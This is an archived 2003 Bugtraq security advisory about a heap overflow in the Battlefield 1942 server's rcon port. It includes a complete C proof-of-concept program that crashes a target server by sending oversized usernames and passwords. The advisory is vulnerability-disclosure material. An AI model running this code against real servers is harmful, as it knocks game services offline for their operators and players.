<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=Content-Type content="text/html; charset=iso-8859-1">
<META content="MSHTML 6.00.2800.1141" name=GENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=#ffffff>
<DIV><FONT face=Arial size=2><A 
href="http://archives.neohapsis.com/archives/bugtraq/2003-02/0342.html">http://archives.neohapsis.com/archives/bugtraq/2003-02/0342.html</A></FONT></DIV>
<DIV><FONT face=Arial size=2></FONT>&nbsp;</DIV>
<DIV><FONT face=Arial size=2></FONT>&nbsp;</DIV>
<DIV><FONT face=Arial size=2></FONT>&nbsp;</DIV>
<DIV><FONT size=2><FONT face=Arial><STRONG>From:</STRONG> VOID.AT Security 
(<EM>asdf_at_asdf.com</EM>)<BR><STRONG>Date:</STRONG> Wed Feb 26 2003 - 12:19:40 
CST </FONT></FONT>
<P>
<LI><STRONG>Messages sorted by:</STRONG> <A 
href="http://archives.neohapsis.com/archives/bugtraq/2003-02/index.html#342">[ 
date ]</A> <A 
href="http://archives.neohapsis.com/archives/bugtraq/2003-02/thread.html#342">[ 
thread ]</A> <A 
href="http://archives.neohapsis.com/archives/bugtraq/2003-02/subject.html#342">[ 
subject ]</A> <A 
href="http://archives.neohapsis.com/archives/bugtraq/2003-02/author.html#342">[ 
author ]</A> 
<UL></UL>
<HR noShade>

<P><!-- body="start" -->
<P>[void.at Security Advisory VSA0307 - mailto:crew at void dot at] <BR>
<P>Battlefield 1942 is a game (c) by Electronic Arts[1]. <BR>
<P>Overview <BR>======== <BR>
<P>By sending a specially crafted packet to the bf1942-server <BR>remote 
administration port, an attacker can cause the server <BR>to crash. <BR>
<P>It *could* even be possible to remotely exploit this <BR>vulnerability to 
gain a remote shell (see "Details" <BR>for details) <BR>
<P>Affected Versions <BR>================= <BR>
<P>As I discovered this vulnerability, the game's version was <BR>1.2. Because I 
don't play this game anymore and I didn't <BR>download that overbloated 50 MB 
patch I have no idea if <BR>the current version (1.3) is vulnerable (but I'd 
bet). <BR>
<P>Impact <BR>====== <BR>
<P>Medium. The remote server simply crashes. <BR>
<P>Details <BR>======= <BR>
<P>Battlefield 1942 can be configured to listen to a tcp-port <BR>(default: 
4711) and accept connections to remotely enter <BR>commands or change server 
variables. A command line utility <BR>to do that comes with bf1942 
("RemoteConsole.exe"), and there <BR>exists at least one GUI that uses the same 
protocol. <BR>
<P>The session starts by connecting to the rcon-port. The server <BR>responds 
with an XOR-key that is used to send the username <BR>and the password (although 
we don't need that here). <BR>
<P>The login credentials get submitted in the following way: <BR>(byte) Length 
of Username <BR>(szstring) Username <BR>(byte) Length of Password <BR>(szstring) 
Password <BR>
<P>Heh, I'm sure you've guessed it, you can overwrite the heap <BR>by sending 
especially long usernames and/or passwords. <BR>
<P>Now the interesting part: it is possible to overwrite control <BR>information 
on the heap (like that famous malloc/free-bugs). <BR>The problem is, that the 
chunk that receives the username <BR>is the last chunk in the chain, so there is 
no following <BR>control block that could be overwritten to exploit a 
<BR>free-vulnerability. This is the reason I am not able to <BR>supply an 
exploit for this. <BR>
<P>The thing is, after that block are pointers to the double- <BR>linked 
ring-list that holds the free blocks. It *is* possible <BR>to overwrite them, 
but I didn't find a way to exploit that, <BR>other than to remotely DoS the 
server. Perhaps someone more <BR>skilled (and with more time) can do that (plz 
let me know *g*) <BR>
<P>Length of username &gt; 4280 crashes the server. <BR>
<P>Note that by the time I discovered this, the only server <BR>available was 
the Windows-version. Today there exists a <BR>(beta-)Linux-version too, perhaps 
you can have more fun <BR>with it. <BR>
<P>Solution <BR>======== <BR>
<P>Disable that remote administration thing until a patch <BR>comes out. <BR>
<P>Exploit <BR>======= <BR>
<P>I've attached a demonstration exploit. <BR>
<P>And YES I really wanted to contact the vendors about that <BR>problem, but I 
gave up after straying around on the EA.com <BR>website for 15 min. searching 
for a simple mail address <BR>(not to mention requesting a public key...). <BR>
<P>Discovered by <BR>============= <BR>
<P>greuff &lt;greuff@void.at&gt; <BR>
<P>Credits <BR>======= <BR>
<P>void.at <BR>^sq, G7 and thokky for giving me links to papers <BR>
<P>halvar@blackhat.com for simply ignoring my mail regarding the 
<BR>double-linked-list overwrite. <BR>
<P>References <BR>========== <BR>
<P>[1] <A href="http://www.ea.com/">http://www.ea.com</A> <BR>
<P>------------------------------------------------------------------ <BR>
<P>/***************************************************************** 
<BR>&nbsp;* hoagie_bf1942_rcon.c <BR>&nbsp;* <BR>&nbsp;* Remote-DoS for 
Battlefield 1942-Servers that have their <BR>&nbsp;* rcon-port activated 
(4711/tcp by default) <BR>&nbsp;* <BR>&nbsp;* Author: greuff@void.at <BR>&nbsp;* 
<BR>&nbsp;* Tested on BF-Server 1.2 on win32 <BR>&nbsp;* <BR>&nbsp;* Credits: 
<BR>&nbsp;* void.at <BR>&nbsp;* ^sq, G7 and thokky <BR>&nbsp;* <BR>&nbsp;* THIS 
FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-CONCEPT. <BR>&nbsp;* THE 
AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY DAMAGE OR <BR>&nbsp;* CRIMINAL 
ACTIVITIES DONE USING THIS PROGRAM. <BR>&nbsp;* 
<BR>&nbsp;*****************************************************************/ 
<BR>
<P>#include &lt;stdio.h&gt; <BR>#include &lt;stdlib.h&gt; <BR>#include 
&lt;unistd.h&gt; <BR>#include &lt;sysexits.h&gt; <BR>#include &lt;string.h&gt; 
<BR>#include &lt;sys/socket.h&gt; <BR>#include &lt;netinet/in.h&gt; <BR>#include 
&lt;sys/types.h&gt; <BR>#include &lt;errno.h&gt; <BR>#include &lt;netdb.h&gt; 
<BR>
<P>int bf1942_rcon_connect(char *servername, int serverport, char *user, char 
<BR>*pass, int *s); <BR>
<P>int main(int argc, char **argv) <BR>{ <BR>&nbsp;&nbsp;&nbsp;int sock, rval=0; 
<BR>&nbsp;&nbsp;&nbsp;char *user, *pass; <BR>&nbsp;&nbsp;&nbsp;int 
anz=5000/*4280*//*4272*//*4200*/; <BR>&nbsp;&nbsp;&nbsp;if(argc!=3) 
<BR>&nbsp;&nbsp;&nbsp;{ <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("Usage: 
%s servername serverport\n\n",argv[0]); 
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return EX_USAGE; <BR>&nbsp;&nbsp;&nbsp;} 
<BR>&nbsp;&nbsp;&nbsp;user=malloc(anz+1); 
<BR>&nbsp;&nbsp;&nbsp;pass=malloc(anz+1); 
<BR>&nbsp;&nbsp;&nbsp;memset(user,0,anz+1); 
<BR>&nbsp;&nbsp;&nbsp;memset(user,'A',anz); 
<BR>&nbsp;&nbsp;&nbsp;memset(pass,0,anz+1); 
<BR>&nbsp;&nbsp;&nbsp;memset(pass,'B',anz); <BR>&nbsp;&nbsp;&nbsp;do 
<BR>&nbsp;&nbsp;&nbsp;{ <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
<BR>rval=bf1942_rcon_connect(argv[1],strtol(argv[2],NULL,10),user,pass,&amp;sock); 
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(rval==-1) 
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ 
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("Authentication 
failed. user=%s pass=%s\n",user,pass); 
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;user[1]++; 
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;close(sock); 
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} 
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else if(rval&gt;0) 
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ 
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("Error: 
%s\n",strerror(rval)); 
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1; 
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} <BR>&nbsp;&nbsp;&nbsp;} while(0); 
<BR>&nbsp;&nbsp;&nbsp;return 0; <BR>} <BR>
<P>/* open a session to a bf1942-server (Rcon) <BR>&nbsp;* <BR>&nbsp;* WARNING 
this is a minimalist's version of the real rcon-authentication <BR>&nbsp;* 
(XOR's skipped) <BR>&nbsp;* <BR>&nbsp;* in: servername, serverport, username, 
pass <BR>&nbsp;* out: on success: 0, serversocket in *sock <BR>&nbsp;* on error 
: -1 = autherror, errno otherwise <BR>&nbsp;*/ <BR>int bf1942_rcon_connect(char 
*servername, int serverport, char *user, char <BR>*pass, int *s) <BR>{ 
<BR>&nbsp;&nbsp;&nbsp;int sock, i, rval; <BR>&nbsp;&nbsp;&nbsp;struct hostent 
*hp; <BR>&nbsp;&nbsp;&nbsp;struct sockaddr_in inaddr; 
<BR>&nbsp;&nbsp;&nbsp;unsigned long l; <BR>
<P>&nbsp;&nbsp;&nbsp;char xorkey[10], buf[20]; <BR>
<P>&nbsp;&nbsp;&nbsp;if((sock=socket(AF_INET,SOCK_STREAM,0))&lt;0) 
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return errno; 
<BR>&nbsp;&nbsp;&nbsp;if((hp=gethostbyname(servername))&lt;0) 
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return errno; 
<BR>&nbsp;&nbsp;&nbsp;inaddr.sin_family=AF_INET; 
<BR>&nbsp;&nbsp;&nbsp;inaddr.sin_port=htons(serverport); 
<BR>&nbsp;&nbsp;&nbsp;memcpy(&amp;inaddr.sin_addr,*(hp-&gt;h_addr_list),sizeof(struct 
in_addr)); <BR>&nbsp;&nbsp;&nbsp;if(connect(sock,(struct sockaddr 
*)&amp;inaddr,sizeof(struct sockaddr))&lt;0) 
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return errno; <BR>
<P>&nbsp;&nbsp;&nbsp;// connection established. The first thing the server 
should <BR>&nbsp;&nbsp;&nbsp;// send is the XOR-Key for transmitting the 
username and the <BR>&nbsp;&nbsp;&nbsp;// password. 
<BR>&nbsp;&nbsp;&nbsp;if((i=read(sock,xorkey,10))&lt;0) 
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return errno; <BR>
<P>&nbsp;&nbsp;&nbsp;// send the username and the password... 
<BR>&nbsp;&nbsp;&nbsp;l=strlen(user)+1; 
<BR>&nbsp;&nbsp;&nbsp;if(write(sock,&amp;l,sizeof(long))&lt;0) 
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return errno; 
<BR>&nbsp;&nbsp;&nbsp;if(write(sock,user,strlen(user)+1)&lt;0) 
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return errno; 
<BR>&nbsp;&nbsp;&nbsp;l=strlen(pass)+1; 
<BR>&nbsp;&nbsp;&nbsp;if(write(sock,&amp;l,sizeof(long))&lt;0) 
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return errno; 
<BR>&nbsp;&nbsp;&nbsp;if(write(sock,pass,strlen(pass)+1)&lt;0) 
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return errno; <BR>
<P>&nbsp;&nbsp;&nbsp;if(read(sock,buf,20)&lt;0) 
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return errno; 
<BR>&nbsp;&nbsp;&nbsp;if(buf[0]==0x01) <BR>&nbsp;&nbsp;&nbsp;{ 
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rval=0; // auth-ok, connection 
established <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*s=sock; 
<BR>&nbsp;&nbsp;&nbsp;} <BR>&nbsp;&nbsp;&nbsp;else 
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rval=-1; // auth-error 
<BR>&nbsp;&nbsp;&nbsp;return rval; <BR>} <BR>
<P>
<P>
<P>-----BEGIN PGP SIGNATURE----- <BR>Version: GnuPG v1.2.1 (GNU/Linux) <BR>
<P>iD8DBQA+XQVBzxi8qAgTjUMRAjLbAKCN15A0DLoALJE15670dIFEn4AQXgCgi0uK 
<BR>IZdDvi1kD7cNWP4YV8bq86I= <BR>=e8jV <BR>-----END PGP SIGNATURE----- <BR>
<P><!-- body="end" --></P></LI></DIV></BODY></HTML>